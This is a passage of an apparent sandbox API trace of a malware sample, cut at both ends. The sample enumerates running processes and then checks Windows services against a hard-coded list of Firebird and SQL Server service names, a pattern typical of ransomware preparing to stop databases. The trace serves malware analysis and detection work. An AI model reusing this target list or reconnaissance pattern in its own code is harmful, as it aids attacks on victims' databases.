th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0161.257] lstrlenW (lpString="dwm.exe") returned 7 [0161.257] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.257] lstrlenW (lpString="svchost.exe") returned 11 [0161.257] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.257] lstrlenW (lpString="svchost.exe") returned 11 [0161.258] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.258] lstrlenW (lpString="svchost.exe") returned 11 [0161.258] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.258] lstrlenW (lpString="svchost.exe") returned 11 [0161.258] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.259] lstrlenW (lpString="svchost.exe") returned 11 [0161.259] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.259] lstrlenW (lpString="svchost.exe") returned 11 [0161.259] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.260] lstrlenW (lpString="svchost.exe") returned 11 [0161.260] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.260] lstrlenW (lpString="svchost.exe") returned 11 [0161.260] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.261] lstrlenW (lpString="svchost.exe") returned 11 [0161.261] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.261] lstrlenW (lpString="svchost.exe") returned 11 [0161.261] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0161.262] lstrlenW (lpString="spoolsv.exe") returned 11 [0161.262] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.262] lstrlenW (lpString="svchost.exe") returned 11 [0161.262] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0161.262] lstrlenW (lpString="audiodg.exe") returned 11 [0161.262] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0161.263] lstrlenW (lpString="sihost.exe") returned 10 [0161.263] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.263] lstrlenW (lpString="svchost.exe") returned 11 [0161.263] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0161.264] lstrlenW (lpString="taskhostw.exe") returned 13 [0161.264] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0161.264] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0161.264] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0161.264] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0161.265] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0161.265] lstrlenW (lpString="Memory Compression") returned 18 [0161.265] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0161.265] lstrlenW (lpString="explorer.exe") returned 12 [0161.265] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0161.266] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0161.266] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0161.266] lstrlenW (lpString="SearchUI.exe") returned 12 [0161.266] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0161.267] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0161.267] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0161.267] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0161.267] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0161.267] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0161.268] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0161.268] lstrlenW (lpString="cmd.exe") returned 7 [0161.268] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0161.268] lstrlenW (lpString="conhost.exe") returned 11 [0161.268] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0161.269] CloseHandle (hObject=0x478) returned 1 [0161.269] Sleep (dwMilliseconds=0x1f4) [0162.144] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408e000 [0162.158] EnumServicesStatusExW (in: hSCManager=0x408e000, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0162.159] GetLastError () returned 0xea [0162.159] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1b58) returned 0x4087df8 [0162.159] EnumServicesStatusExW (in: hSCManager=0x408e000, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4087df8, cbBufSize=0x1b58, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4087df8, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0162.160] CloseServiceHandle (hSCObject=0x408e000) returned 1 [0162.160] lstrlenW (lpString="AppXSvc") returned 7 [0162.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0162.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0162.161] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0162.161] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0162.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0162.161] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0162.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0162.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0162.161] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0162.161] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0162.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0162.161] lstrlenW (lpString="Audiosrv") returned 8 [0162.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0162.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0162.161] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0162.161] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0162.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0162.161] lstrlenW (lpString="BFE") returned 3 [0162.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0162.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0162.161] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0162.161] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0162.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0162.161] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0162.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0162.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0162.161] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0162.161] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0162.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0162.161] lstrlenW (lpString="CDPSvc") returned 6 [0162.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0162.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0162.161] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0162.161] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0162.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0162.162] lstrlenW (lpString="ClickToRunSvc") returned 13 [0162.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0162.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0162.162] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0162.162] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0162.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0162.162] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0162.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0162.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0162.162] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0162.162] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0162.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0162.162] lstrlenW (lpString="CryptSvc") returned 8 [0162.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0162.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0162.162] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0162.162] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0162.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0162.162] lstrlenW (lpString="DcomLaunch") returned 10 [0162.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0162.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0162.162] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0162.162] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0162.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0162.162] lstrlenW (lpString="DeviceAssociationService") returned 24 [0162.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0162.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0162.162] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0162.162] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0162.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0162.162] lstrlenW (lpString="Dhcp") returned 4 [0162.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0162.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0162.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0162.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0162.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0162.163] lstrlenW (lpString="Dnscache") returned 8 [0162.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0162.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0162.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0162.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0162.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0162.163] lstrlenW (lpString="DPS") returned 3 [0162.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0162.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0162.163] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0162.163] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0162.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0162.163] lstrlenW (lpString="DusmSvc") returned 7 [0162.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0162.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0162.163] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0162.163] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0162.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0162.163] lstrlenW (lpString="EventLog") returned 8 [0162.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0162.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0162.163] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0162.163] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0162.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0162.163] lstrlenW (lpString="EventSystem") returned 11 [0162.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0162.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0162.163] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0162.163] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0162.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0162.163] lstrlenW (lpString="FontCache") returned 9 [0162.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0162.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0162.164] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0162.164] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0162.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0162.164] lstrlenW (lpString="gpsvc") returned 5 [0162.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0162.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0162.164] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0162.164] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0162.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0162.164] lstrlenW (lpString="iphlpsvc") returned 8 [0162.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0162.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0162.164] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0162.164] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0162.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0162.164] lstrlenW (lpString="KeyIso") returned 6 [0162.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0162.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0162.164] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0162.164] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0162.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0162.164] lstrlenW (lpString="LanmanServer") returned 12 [0162.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0162.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0162.164] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0162.164] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0162.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0162.164] lstrlenW (lpString="LanmanWorkstation") returned 17 [0162.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0162.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0162.164] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0162.164] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0162.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0162.165] lstrlenW (lpString="lfsvc") returned 5 [0162.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0162.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0162.165] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0162.165] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0162.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0162.165] lstrlenW (lpString="lmhosts") returned 7 [0162.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0162.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0162.165] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0162.165] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0162.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0162.165] lstrlenW (lpString="LSM") returned 3 [0162.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0162.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0162.165] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0162.165] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0162.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0162.165] lstrlenW (lpString="MpsSvc") returned 6 [0162.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0162.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0162.165] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0162.165] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0162.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0162.165] lstrlenW (lpString="NcbService") returned 10 [0162.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0162.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0162.165] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0162.166] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0162.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0162.166] lstrlenW (lpString="netprofm") returned 8 [0162.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0162.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0162.166] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0162.166] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0162.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0162.166] lstrlenW (lpString="NgcSvc") returned 6 [0162.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0162.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0162.166] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0162.166] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0162.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0162.166] lstrlenW (lpString="NlaSvc") returned 6 [0162.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0162.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0162.166] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0162.166] lstrcmpiW (lpString1="mssqlserver", 